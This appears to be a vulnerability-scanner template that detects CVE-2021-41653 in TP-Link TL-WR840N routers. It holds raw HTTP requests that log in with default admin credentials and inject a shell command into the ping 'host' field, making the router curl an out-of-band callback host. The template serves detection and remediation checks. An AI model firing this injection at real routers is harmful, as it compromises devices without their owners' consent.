66 lines
2.2 KiB
YAML
66 lines
2.2 KiB
YAML
id: CVE-2021-41653
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info:
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name: TP-Link - OS Command Injection
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author: gy741
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severity: critical
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description: The PING function on the TP-Link TL-WR840N EU v5 router with firmware through TL-WR840N(EU)_V5_171211 is vulnerable to remote code execution via a specially crafted payload in an IP address input field.
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remediation: Upgrade the firmware to at least version "TL-WR840N(EU)_V5_211109".
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reference:
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- https://k4m1ll0.com/cve-2021-41653.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-41653
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- https://www.tp-link.com/us/press/security-advisory/
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- http://tp-link.com
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-41653
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cwe-id: CWE-94
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epss-score: 0.95374
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epss-percentile: 0.99188
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cpe: cpe:2.3:o:tp-link:tl-wr840n_firmware:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: tp-link
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product: tl-wr840n_firmware
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tags: cve,cve2021,tplink,rce,router,tp-link
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variables:
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useragent: '{{rand_base(6)}}'
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http:
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- raw:
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- |
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POST /cgi?2 HTTP/1.1
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Host: {{Hostname}}
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Content-Type: text/plain
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Referer: http://{{Hostname}}/mainFrame.htm
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Cookie: Authorization=Basic YWRtaW46YWRtaW4=
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[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
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dataBlockSize=64
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timeout=1
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numberOfRepetitions=4
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host=$(echo 127.0.0.1; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}')
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X_TP_ConnName=ewan_ipoe_d
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diagnosticsState=Requested
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- |
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POST /cgi?7 HTTP/1.1
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Host: {{Hostname}}
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Content-Type: text/plain
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Referer: http://{{Hostname}}/mainFrame.htm
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Cookie: Authorization=Basic YWRtaW46YWRtaW4=
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[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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- type: word
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part: interactsh_request
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words:
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- "User-Agent: {{useragent}}"
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# digest: 490a00463044022068f47c99376b83f1ae338e3dda34fcc044253e3efffeb21c3cc82423bbd5c4470220303ac28ec8f510c832262b36eaf363e6994667566e75eb9ca3219f2de3834a93:922c64590222798bb761d5b6d8e72950 |